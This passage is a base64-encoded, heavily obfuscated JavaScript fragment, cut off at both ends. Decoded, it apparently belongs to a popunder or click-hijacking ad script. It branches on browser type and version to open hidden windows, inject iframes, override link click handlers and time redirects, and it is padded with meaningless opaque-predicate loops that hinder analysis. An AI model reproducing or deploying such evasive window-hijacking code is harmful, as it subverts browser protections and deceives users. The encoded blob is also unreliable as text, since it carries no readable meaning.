uZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk